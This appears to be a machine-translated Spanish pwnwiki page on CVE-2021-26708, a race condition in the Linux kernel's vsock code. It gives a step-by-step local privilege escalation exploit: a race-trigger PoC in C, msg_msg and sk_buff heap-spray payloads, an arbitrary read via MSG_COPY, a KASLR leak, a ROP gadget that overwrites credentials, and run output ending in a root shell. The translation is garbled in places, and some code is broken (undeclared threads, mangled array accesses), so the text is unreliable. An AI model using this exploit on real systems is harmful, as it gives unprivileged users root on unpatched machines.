Loading
0

CVE-2021-26708 Linux kernel before 5.10.13 特权提升漏洞/es

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

Vulnerabilidad

Estas vulnerabilidades son causadas por la contención condicional provocada por un falso bloqueo en net/vmw_vsock/af_vsock.c. Estas contenciones de condiciones se introdujeron implícitamente en el commit de noviembre de 2019 que añadió el soporte de multitransferencia VSOCK y se fusionaron en la versión 5.5-rc1 del kernel de Linux.

CONFIG_VSOCKETS y CONFIG_VIRTIO_VSOCKETS se proporcionan como módulos del núcleo en todas las principales distribuciones de GNU/Linux. Estos módulos vulnerables se cargan automáticamente cuando se crea un socket para el dominio AF_VSOCK.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

La creación de sockets AF_VSOCK está disponible para los usuarios sin privilegios y no requiere espacio de nombre de usuario.

Corrupción de la memoria

A continuación se detalla la explotación de la CVE-2021-26708, que hace uso de la competencia condicional en vsock_stream_etssockopt(), la recuperación requiere dos hilos, el primero de los cuales llama a setsockopt().

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

El segundo hilo cambia el transporte del socket virtual cuando <código>vsock_stream_etssockopt()</código> intenta obtener un bloqueo de socket, lo que se consigue reconectando el socket virtual a.

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

Para manejar connect() para sockets virtuales, el kernel ejecuta vsock_stream_connect() que llama a vsock_assign_transport(). Esta función contiene el siguiente código.

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

<código>vsock_stream_connect()</código> contiene el bloqueo del socket, y <código>vsock_stream_setsockopt()</código> en el hilo paralelo también intenta obtenerlo, constituyendo una competencia condicional. Como resultado, la función vsock_deassign_transport() es llamada cuando se realiza una segunda connect() con un svm_cid diferente. La función ejecuta virtio_transport_destruct(), liberando vsock_sock.trans, y vsk->transport se establece en NULL. cuando vsock_ stream_connect() libera el bloqueo del socket, vsock_stream_setsockopt() puede seguir ejecutándose. Llama a vsock_update_buffer_size(), seguido de transport->notify_buffer_size(). Aquí el transporte contiene un valor obsoleto de una variable local que no coincide con vsk->transport (la causa se establece en NULL).

El núcleo ejecuta <código>virtio_transport_notify_buffer_size()</código> con corrupción de memoria.

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Aquí, el vvs es un puntero a la memoria del núcleo, que ha sido liberado en virtio_transport_destruct(). La estructura virtio_vsock_sock tiene un tamaño de 64 bytes y se encuentra en la caché de bloques kmalloc-64. El tipo de campo buf_alloc es u32, ubicado en el offset 40. VIRTIO_VSOCK_MAX_BUF_SIZE es 0xFFFFFFUL. El valor de *val es controlado por el atacante, y sus cuatro bytes menos significativos se escriben en la memoria liberada.

Prueba difusa

El fuzzer syzkaller no tiene forma de reproducir este bloqueo, así que decidí estudiarlo yo mismo. Pero, ¿por qué falla el fuzzer? Observe vsock_update_buffer_size () y descubra:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

Solo cuando val sea diferente del actual buffer_size, se llamará a notify_buffer_size () , es decir, cuando setsockopt () ejecute SO_VM_SOCKETS_BUFFER_SIZE , cada vez Los parámetros de tamaño de la llamada deben ser todos diferentes. Entonces construí el código relevante:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <email protected>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("- pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("- clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("- clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th2 = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("- open vsock");

	printf("+ AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("- pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th0, NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("- pthread_create #0");

		ret = pthread_create(&th1, NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("- pthread_create #1");

		ret = pthread_join(th0, NULL);
		if (ret != 0)
			err_exit("- pthread_join #0");

		ret = pthread_join(th1, NULL);
		if (ret != 0)
			err_exit("- pthread_join #1");

		if (tfail) {
			printf("- some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("- close");

	printf("+ now see your warnings in the kernel log\n");
	return 0;
}

El valor de tamaño aquí se toma del número de nanosegundos devueltos por clock_gettime () , que puede ser diferente cada vez. El syzkaller original no hace esto, porque cuando syzkaller genera una entrada fuzzing, el valor del parámetro syscall está determinado y no cambiará durante la ejecución.

El poder de cuatro bytes

Aquí elijo Fedora 33 Server como el objetivo de la investigación, la versión del kernel es 5.10.11-200.fc33.x86_64, y estoy decidido a omitir SMEP y SMAP.

En el primer paso, comencé a estudiar la pulverización de pila estable, que explotaba la ejecución de las actividades del espacio del usuario para hacer que el kernel asignara otro objeto de 64 bytes en la ubicación del virtio_vsock_sock liberado. Después de varios intentos experimentales, se confirmó que el virtio_vsock_sock publicado se sobrescribió, lo que indica que la fumigación en pilas es factible. Finalmente encontré msgsnd () syscall. Crea struct msg_msg en el espacio del kernel, vea la salida de pahole:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

El anverso es el encabezado del mensaje y el reverso son los datos del mensaje. Si la estructura msgbuf en el espacio de usuario tiene un mtext de 16 bytes, se creará el correspondiente msg_msg en la caché del bloque kmalloc-64. Una escritura libre de 4 bytes destruirá el puntero de seguridad void * en el desplazamiento 40. El campo msg_msg.security apunta a los datos del kernel asignados por lsm_msg_msg_alloc (). Cuando se reciba msg_msg, será liberado por security_msg_msg_free (). Por lo tanto, al destruir la primera mitad del puntero de seguridad, se puede obtener una libertad arbitraria.

Fuga de información del kernel

Aquí se utiliza % 87% E6% BC% 8F% E6% B4% 9E CVE-2019-18683 la misma técnica. El segundo connect () del socket virtual llama a vsock_deassign_transport () y establece vsk-> transport en NULL, haciendo que vsock_stream_setsockopt () Calling virtio_transport_send_pkt_info () después de la caída de la memoria, aparece una advertencia del kernel:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 vmw_vsock_virtio_transport_common
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 vmw_vsock_virtio_transport_common
  vsock_update_buffer_size+0x5f/0x70 vsock
  vsock_stream_setsockopt+0x128/0x270 vsock
...

A través de la depuración de gdb, se encuentra que el registro RCX contiene la dirección del kernel del virtio_vsock_sock liberado, y el registro RBX contiene la dirección del kernel de vsock_sock.

Logra una lectura arbitraria

De libre arbitrario a usar-después-libre

Liberar un objeto de la dirección del kernel filtrada
Realice una pulverización en pila y cubra el objeto con datos controlados
Utilice objetos dañados para la escalada de privilegios
El mensaje System V implementado por el kernel tiene un límite máximo de DATALEN_MSG, es decir, PAGE_SIZE menos sizeof (struct msg_msg)). Si envía un mensaje más grande, los mensajes restantes se guardarán en la lista de segmentos de mensajes. Msg_msg contiene struct msg_msgseg * al lado del primer segmento, y size_t m_ts se usa para almacenar el tamaño. Al realizar una operación de sobrescritura, puede poner el valor controlado en msg_msg.m_ts y msg_msg.next:

T01a51dfe7a996e854c.png

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("+ adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

Pero, ¿cómo usar msg_msg para leer datos del kernel? Al leer la documentación de la llamada al sistema msgrcv (), encontré una buena solución, usando msgrcv () y las banderas MSG:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

Esta bandera hace que el kernel copie los datos del mensaje en el espacio del usuario sin eliminarlo de la cola de mensajes. Si el kernel tiene CONFIG_CHECKPOINT_RESTORE = y, entonces MSG está disponible y es aplicable en Fedora Server.

Pasos de lectura arbitraria

Listo para trabajar:
Utilice sched_getaffinity () y CPU_COUNT () para calcular la cantidad de CPU disponibles (se requieren al menos dos para esta vulnerabilidad);
Abra / dev / kmsg para análisis;
mmap () configura userfaultfd () en el área de memoria spray_data como la última parte;
Inicie un pthread separado para manejar los eventos de userfaultfd ();
Inicie 127 subprocesos para setxattr () & userfaultfd () heap spray en msg_msg, y cuélguelos en thread_barrier;
Obtenga la dirección del kernel del msg_msg original:
Competencia condicional en enchufes virtuales;
Después del segundo connect (), espere 35 microsegundos en el ciclo ocupado;
Llame a msgsnd () para crear una cola de mensajes separada; después de la corrupción de la memoria, el objeto msg_msg se coloca en la posición virtio_vsock_sock;
Analice el registro del kernel y guarde la dirección del kernel de msg_msg de la advertencia del kernel (registro RCX);
Al mismo tiempo, guarde la dirección del kernel de vsock_sock del registro RBX;
Utilice el msg_msg dañado para realizar una liberación arbitraria del msg_msg original:
Utilice 4 bytes de la dirección original msg_msg como SO_VM_SOCKETS_BUFFER_SIZE para lograr la corrupción de la memoria;
Competencia condicional en enchufes virtuales;
Llame a msgsnd () inmediatamente después del segundo connect (); msg_msg se coloca en la posición de virtio_vsock_sock para lograr la destrucción;
El puntero de seguridad del msg_msg ahora destruido almacena la dirección del msg_msg original (del paso 2);

T01a2a2d47c9494c4a5.png

Si la corrupción de la memoria msg_msg.security del subproceso setsockopt () ocurre durante el procesamiento de msgsnd (), la verificación de permisos de SELinux falla;
En este caso, msgsnd () devuelve -1, y el msg_msg dañado se destruye; liberar msg_msg.security puede liberar el msg_msg original;
Sobrescriba el msg_msg original con una carga útil controlable:
Después de que msgsnd () falle, la vulnerabilidad llamará a pthread_barrier_wait () y llamará a 127 pthreads para la pulverización del montón;
Estos pthreads ejecutan la carga útil de setxattr ();
El msg_msg original se sobrescribe con datos controlables y el puntero msg_msg.next almacena la dirección del objeto vsock_sock;

T0140baae964febb059.png

Lea el contenido del objeto del kernel vsock_sock en el espacio del usuario recibiendo el mensaje de la cola de mensajes que almacena el msg_msg sobrescrito:

ret = msgrcv(msg_locations0.msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

Encuentra el objetivo del ataque

Estos son los puntos que encontré:
1. La caché de bloques dedicada, como PINGv6 y sock_inode_cache, tienen muchos indicadores de objetos.
2. El puntero struct mem_cgroup * sk_memcg está en el desplazamiento 664 en vsock_sock.sk. La estructura mem_cgroup se asigna en la caché de bloques kmalloc-4k.
3. El puntero de propietario const struct cred * está en el desplazamiento 840 de vsock_sock.sk y almacena la dirección de la credencial que se puede sobrescribir para escalar permisos.
4. El puntero de función void (* sk_write_space) (struct sock *) está en el desplazamiento 688 de vsock_sock.sk y se establece en la dirección de la función del kernel sock_def_write_space (). Se puede utilizar para calcular el desplazamiento de KASLR.

Así es como la vulnerabilidad extrae estos indicadores de la memoria:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmemSK_MEMCG_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmemOWNER_CRED_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmemSK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("+ Calculated kaslr offset: %lx\n", kaslr_offset);

Implementar Use-after-free en sk_buff

El búfer relacionado con la red en el kernel de Linux está representado por struct sk_buff Hay skb_shared_info y destructor_arg en este objeto, que se pueden usar para controlar el flujo de secuestro. Los datos de red y skb_shared_info se colocan en el mismo bloque de memoria del núcleo al que apunta sk_buff.head. Por lo tanto, la creación de un paquete de red de 2800 bytes en el espacio del usuario hará que skb_shared_info se asigne al caché de bloques kmalloc-4k, al igual que el objeto mem_cgroup.

Construí los siguientes pasos:

1. Utilice sockets (AF_INET, SOCK_DGRAM, IPPROTO_UDP) para crear un socket de cliente y 32 sockets de servidor

2. Prepare un búfer de 2800 bytes en el espacio de usuario y use 0x42 para memset ()

3. Utilice sendto () para enviar este búfer desde el socket del cliente a cada socket del servidor para crear objetos sk_buff en kmalloc-4k. Use `sched_setaffinity () en cada CPU disponible

4. Realice un proceso de lectura arbitrario en vsock_sock

5. Calcule la posible dirección del kernel sk_buff como sk_memcg más 4096 (el siguiente elemento de kmalloc-4k)

6. Realice lecturas arbitrarias en esta posible dirección sk_buff

7. Si encuentra 0x42424242424242lu en la ubicación de los datos de red, busque el sk_buff real y vaya al paso 8. De lo contrario, agregue 4096 a la posible dirección sk_buff y vaya al paso 6

8. Ejecute setxattr () & userfaultfd () heap spray de 32 pthreads en sk_buff y cuélguelos en pthread_barrier

9. Libere arbitrariamente la dirección del kernel sk_buff

10. Llame a pthread_barrier_wait (), ejecute 32 setxattr () para cubrir los pthreads de heap spray de skb_shared_info

11. Utilice recv () para recibir mensajes de red desde el socket del servidor.

Escribir libremente a través de skb_shared_info

La siguiente es una carga útil válida que sobrescribe el objeto sk_buff:

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info reside en los datos de inyección, exactamente en el desplazamiento SKB_SHINFO_OFFSET, que es 3776 bytes. El puntero skb_shared_info.destructor_arg almacena la dirección de struct ubuf_info. Debido a que se conoce la dirección del kernel del sk_buff atacado, se puede crear un ubuf_info falso en MY_UINFO_OFFSET en el búfer de la red. El siguiente es el diseño de una carga útil válida:

T0185ccbf9f025c74da.png

Hablemos de la devolución de llamada destructor_arg:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr rdi + 8 ; mov qword ptr rdx + rcx*8, rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr rdi + 8" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

Como no pude encontrar un dispositivo que pudiera satisfacer mis necesidades en vmlinuz-5.10.11-200.fc33.x86_64, lo investigué y lo construí yo mismo.

El puntero de la función de devolución de llamada almacena la dirección de un dispositivo ROP, RDI almacena el primer parámetro de la función de devolución de llamada, que es la dirección de ubuf_info en sí, y RDI + 8 apunta a ubuf_info.desc. el gadget mueve ubuf_info.desc a RDX. Ahora RDX contiene el ID de usuario efectivo y la dirección de ID de grupo menos un byte. Este byte es muy importante: cuando el dispositivo escribe el mensaje 1 desde RSI en la memoria apuntada por RDX, el uid y el gid efectivos se sobrescribirán con cero. Repita el mismo proceso hasta que los privilegios se actualicen a root. El flujo de salida de todo el proceso es el siguiente:

email protected ~$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

+ begin as: uid=1000, euid=1000
+ we have 2 CPUs for racing
+ getting ready...
+ remove old files for ftok()
+ spray_data at 0x7f0d9111d000
+ userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
+ fault_handler for uffd 38 is ready

+ stage I: collect good msg_msg locations
+ go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

+ stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
+ go racing, show wins: 

+ stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
+ msgrcv returned 6096 bytes
+ Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
+ Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
+ Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
+ Calculated kaslr offset: 2a000000

+ stage IV: search sprayed skb near sk_memcg...
+ checking possible skb location: ffff9125c42fa000
+ stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
+ go racing, show wins: 0 0 20 15 42 11 
+ stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
+ msgrcv returned 6096 bytes
+ found a real skb

+ stage V: try to do UAF on skb at ffff9125c42fa000
+ skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
+ go racing, show wins: 15 

+ stage VI: repeat UAF on skb at ffff9125c42fa000
+ go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

+ finish as: uid=0, euid=0
+ starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Video

PWNWIK.COM